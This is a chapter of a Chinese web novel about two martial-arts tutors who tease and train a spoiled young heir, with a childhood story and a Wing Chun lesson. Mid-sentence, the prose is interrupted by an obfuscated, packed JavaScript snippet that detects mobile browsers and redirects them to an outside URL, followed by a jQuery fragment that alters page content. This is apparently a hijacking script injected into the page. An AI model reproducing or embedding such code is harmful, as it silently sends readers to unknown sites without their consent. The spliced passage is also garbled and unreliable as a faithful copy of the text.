一个人在房间呆了许久,庞行乙终于冷静下来,他满脑子都是贾阳那句师圆圆把他当儿子的话。
庞行乙很不喜欢和旁人提起有关自己母亲的话题。
因为他对自己的母亲没有记忆,很小的时候,他的妈妈就去世了,他只能通过照片想象妈妈的说话声和手指的温度。
刚才贾阳和师圆圆这么说自己,他居然丢脸的哭出来了!想到这里,庞行乙不住锤墙。
回想起那两个人的眼神,其实庞行乙心里也明白,她们对自己没有恶意,只是单纯的开个玩笑,并且从某种程度上来说她们也是关心自己,虽然方式方法极其恶劣。
连这两个才认识几天的师傅都能这么关心自己,他的大哥却对自己不闻不问,庞行乙心里更生气了!
他双眼通红,神情颓丧,坐在地上自言自语:
“是啊!我就是没有妈妈教的孩子,你们满意了吧!”
“你以为你是谁?你才不配做我的妈妈!”
“我才不要你们关心!滚远点!”
庞行乙像是发泄一般,喊出刚才没有回怼的话,又起身躺在床上用被子蒙住头睡觉。
翻来覆去睡不着,庞行乙心中烦闷,先前睡了快一整天,现在吃过饭力气也回来了,外面又是晚上,他确实没什么可以打发时间的事情可做。
看到手边连通监视器的平板电脑,庞行乙想去看看贾阳她们在做什么。
但一想到她们方才对自己做的事情,庞行乙有些不好意思。
纠结一阵,庞行乙在心里安慰自己,他就看看她们在干什么而已,要是发现了她们之间见不得人的秘密,他就能以此为要挟,报一箭之仇!
做好心理建设后,庞行乙盯着屏幕看了几分钟,又生气的把电脑摔到地上。
他就知道!这两个人是故意的。
回到房间的王沧与苏和,对视一眼,开始模仿起庞行乙的样子,笑得满地打滚。
她们就是故意要让庞行乙难堪才会这么做的,并且她们也确信回到房间后,这小子还会继续监视她们。
下午在他房间的时候,王沧就发现连通她们房间监控录像的平板电脑,就这么光明正大摆在桌子上。
不难想象,这小子每天是怎么偷窥她们说话的。
所以,她们当然要趁机好好整整这个喜欢偷窥人的臭小子。
“呜呜呜...她不是我妈妈!”苏和语气滑稽的模仿着庞行乙。
“笑死我了!这辈子没这么爽过。”
“他脸上的表情,哈哈哈哈......简直太逗了!”
苏和笑得喘不上气,捂着肚子,表情扭曲。
“好了,不闹了,早点睡吧。”折腾了一天,王沧有些累了。
“不行,我今天太开心了,现在一点睡意也没有,怎么办啊?”苏和在沙发上翻滚着。
“睡不着也要睡,熬夜对身体不好!”
“知道啦,贾妈妈!”
看到苏和脸上的坏笑,王沧无奈摇头。
“既然叫我妈妈,那就要听妈妈的话。”
“我不,我要听贾妈妈讲故事!”苏和撒泼一般的在沙发上弹动,像一条刚从泥土里被挖出来的蚯蚓。
“好,我讲,你先回床上去。”
“好嘞!”苏和开心的蹦上床,被子蒙到下巴处,眼睛一眨一眨的盯着王沧。
王沧也躺回自己的床上,藏在被子下的手盘着仓鼠,讲起她小时候的故事。
记忆被拉回那个小山村。
王沧小时候很皮,同村的人见了她都叫她小泥猴子,因为她经常淘气闯祸,但身手灵活,动辄窜上树躲避师父的追打。
有一次,她带着同村的小孩子一起去路边做陷阱玩儿,挖了好大一个坑,又铺上超多干草,看起来和普通的路没有两样,结果最先倒霉的竟然是她外出归来的师父。
她们几个小孩儿长得瘦弱,个子还不到成年人的腰部,力气就更别提了,根本不可能拉上来一个成年人,所以其他小孩子都跑回家叫大人帮忙,最后才把王沧的师父拉起来。
王沧心里害怕,早就跑得没影儿,她躲在村口的大槐树上,整整一夜,她师父也找了她整整一夜,找的声音都哑了,最后只能坐在观门前不住抹眼泪。
看到师父在哭,王沧心里也跟着难受,便从树上下来,想要安慰她师父。
谁知道师父看到她第一眼,就捡起一根扫帚,抽得她不住求饶,打到师父闪了腰才停下。
“哈哈哈,你小时候真皮!”苏和有些羡慕王沧,她小时候就没有这么自由了,天天不是学习就是练体术。
王沧不好意思的挠头:“我以为大家小时候都这样呢!”
“最后呢?”苏和有些好奇王沧的师父,因为她说起自己的师父时,脸上的表情是苏和从没见过的柔软。
王沧轻笑一声:“最后嘛,师父给我做了一顿好吃的,第二天还送我去县城的寄宿学校上学。”
“我师父啊,总是刀子嘴豆腐心,其实对我可好啦,根本不舍得生我气太久!”
“这破老头子,什么都好,就是……算了,没什么。”
王沧这边讲得投入,苏和那边却已经慢慢闭上眼睛,进入梦乡。
王沧因为这个故事来了精神,她起床关灯,也投身脑海中那个关于小时候的梦里。
庞行乙听着平板电脑里贾阳小时候的故事,同样闭上双眼,慢慢睡着。
同一时间,远在千里之外的陈家,陈巽从一个反复的梦境中惊醒,他打开房间里所有灯光,眼神呆滞的坐在地上,双眼失神,嘴里喃喃道:“王沧,你到底什么时候回来啊......”
第二天一早,王沧赶在苏和起床前睁开眼睛,原因无他,今晚是她与祖奶奶商量好回陈家的日子——中元节,所以她要提前安排好一切。
“祖奶奶,你醒了吗?”王沧戳戳旁边枕头上只有自己能看到的小仓鼠,压低声音。
小仓鼠不耐烦的翻了个身:“什么事?”
“今天是中元节,你忘了吗?”
“没忘!离晚上还早,别吵我。”
看着眼前逐渐进入深度睡眠的小团子,王沧打开手机,果然,昨天半夜陈巽也给自己发消息了,他每次都只发一个汤圆发呆的表情包,却从不说清楚他有什么事,王沧也就没有回复他。
想到今晚就能回去,王沧关上手机,起床洗漱。
在去武术室的路上,王沧看到那个神秘男人的身影,这人走到庞家大门方向,上了一辆林肯车。
王沧摸着下巴,那人走了,那代表现在就是四处查探的最好时机!
她戳戳头上的小仓鼠,示意它去搜集讯息,自己则去武术室“招呼”另一个目标。
今天的庞行乙已经十分自觉的开始负重站桩,看到王沧两人进来也目不斜视,表情正经。
苏和眉毛一挑,走到庞行乙身边,检查一遍他的姿势,发现没有问题,又在他耳边悄声说了一句话。
就是这句话,庞行乙绷不住了,一屁股坐在地上。
“你们干脆杀了我吧!”
王沧走到苏和身边问她:“好好的,你跟他说啥了?”
“我说,我儿真棒!”苏和故意把那两个字大声说出来,气得庞行乙脸颊更红。
“好了别闹了,他今天不是挺乖的吗?”说着,王沧把庞行乙扶起来。
苏和摇头,故作无奈道:“我这不是试探他到底有没有达到入定的境界吗?结果很明显,他呀!还得多练习。”
“行吧,你说得也有道理。”
庞行乙虽然不敢出言反驳,但鼻孔里喘着粗气,眼神黏在地板上。
来之前,王沧就偷偷跟苏和打好了招呼,今天晚上有事,所以她们白天必须得把这小子练趴下。
取出早就准备好的咏春拳练习木桩,王沧对着两人演示了一套行云流水的拳法,看得庞行乙瞪大双眼,频频赞叹。
“可以啊!我要学这个!”
苏和拍拍庞行乙的脸颊,一脚踩在他脚背上,制止他要冲过去的身体。
“站好咯!没让你动呢。”
庞行乙深呼吸道:“我警告你!我的忍耐是有限度的,你再这么对我,我就...我就......”
“你就什么?说啊。”苏和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281564|198369||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脚掌用力,果然看到庞行乙脸上的汗水。
“哼!你就是仗着自己比我厉害,等我学成了,看我怎么报仇!”
“你先学成再说吧,二-少-爷。”
闻到苏和身上放大的皂香,庞行乙乖乖闭嘴,想起小时候照顾他们两兄弟的吴妈妈身上也是这种味道,或许妈妈身上也是这种味道。
他有些失神,摇摇头,在脑中制止了自己奇怪的联想。
苏和在庞行乙额头弹了一个脑瓜蹦:“上午先练习基础,下午就让你实战打木桩。”
“好!”庞行乙心中暗喜,他终于能摆脱这无聊的基本功!
上课的时候,三人的午饭都是在武术室解决的,由专人做好饭菜送来。
庞行乙与苏和年纪相仿,饭量都很大,两人性格也是相似的幼稚,吃着吃着,就在暗暗比谁吃得多。
结果毫无悬念,苏和胜利,庞行乙捂住肚子一边打嗝一边恨恨的看着苏和。
苏和回瞪他:“看什么看?没见过美女啊!”
庞行乙在心里大声叫苏和肌肉母猩猩,但他也只敢在心里叫。
他别过头,注意到王沧在用筷子拨弄着碗里的苦瓜,一副心不在焉的样子。
“哦!师祖这么大的人了还挑食?”
王沧瞥了他一眼,这个庞行乙也是,不搞点事就不能好好活着一样。
“你喜欢啊?那给你吃。”
“本少爷才不吃别人碗里的东西!”
“那是因为你没饿过肚子。”王沧本来没有讽刺对方的意思,只是想起自己那些一个人饿肚子的时候,心里有些感触。
她小时候也挑食,会把不爱吃的东西留出来,用极慢的速度吃掉,这也是她一直以来的习惯。
听到这话的庞行乙可不这么想,他觉得自己被贾阳小看,心里很是不服气:“说得好像你多有经历似的,现在社会发展的这么好,怎么还会有人饿肚子?你骗我呢吧!”
这下王沧是真的有些嫌弃庞行乙了:“说你是少爷你还真是,没见识!”
“就是,你没见过只能说明你无知,不明白你的优越感哪里来的。”苏和帮腔道。
庞行乙本来只想找个话头随便扯两句,没想到这两人说起话来一唱一和,搞得他自己像一个小丑。
他把筷子一摔:“我就是没见识!怎么着吧!你打我啊!”
“你没见识你还有理了?”
“就是有理!气死你!”
“你!”王沧拉住苏和。
“算了,每个人的生长环境不同,没必要这么比较。”王沧拉住苏和。
“你既然饿过肚子,你还挑食?”庞行乙脑子灵光一闪,突然找到理由怼王沧,他的腰杆儿也直了起来。
“你说得对,所以我没有资格说你。对不起!”
“这还差不多。”庞行乙见王沧服软,便把她碗里剩下的苦瓜挑到自己碗里,嚼吧嚼吧咽了下去。
苏和看着庞行乙的举动,惊讶的张大嘴。
“你不是不吃别人碗里的剩菜吗?”
“你懂什么?我这不是为了学习,为了涨见识吗?我打不过你们,所以我要在道德层面碾压你们!”庞行乙机械地咀嚼着苦瓜,嘴角冒泡。
其实他也不喜欢吃苦瓜,从小,他就喜欢用自己的挑食来折磨想要他好好吃饭的大哥。
“......你开心就好。”王沧皱眉。
这人真是,幼稚的可怕!
吃过饭后,三人盘腿席地而坐,休息一阵后,王沧开始讲解起有关咏春拳的基本手法和拳术套路。
“传说此拳法脱胎于创作者观蛇鹤相斗生出的感触,融合了各种动物行动的特性,招式灵活多变。像这样出招,拳头像蛇身一般有弹性,攻击点位又如鹤足点地一样精准优雅,讲究短桥窄马、擅发寸劲,【1】是很适合实战的一套拳法,重点是男女老少皆宜。”
“听上去很牛的样子。”庞行乙摆弄着一旁的三星桩。
“你说我用三天时间能学会这个什么拳法吗?”
王沧知道庞行乙学习能力极佳,但仍然不赞成对方这种只求速度的偏门想法。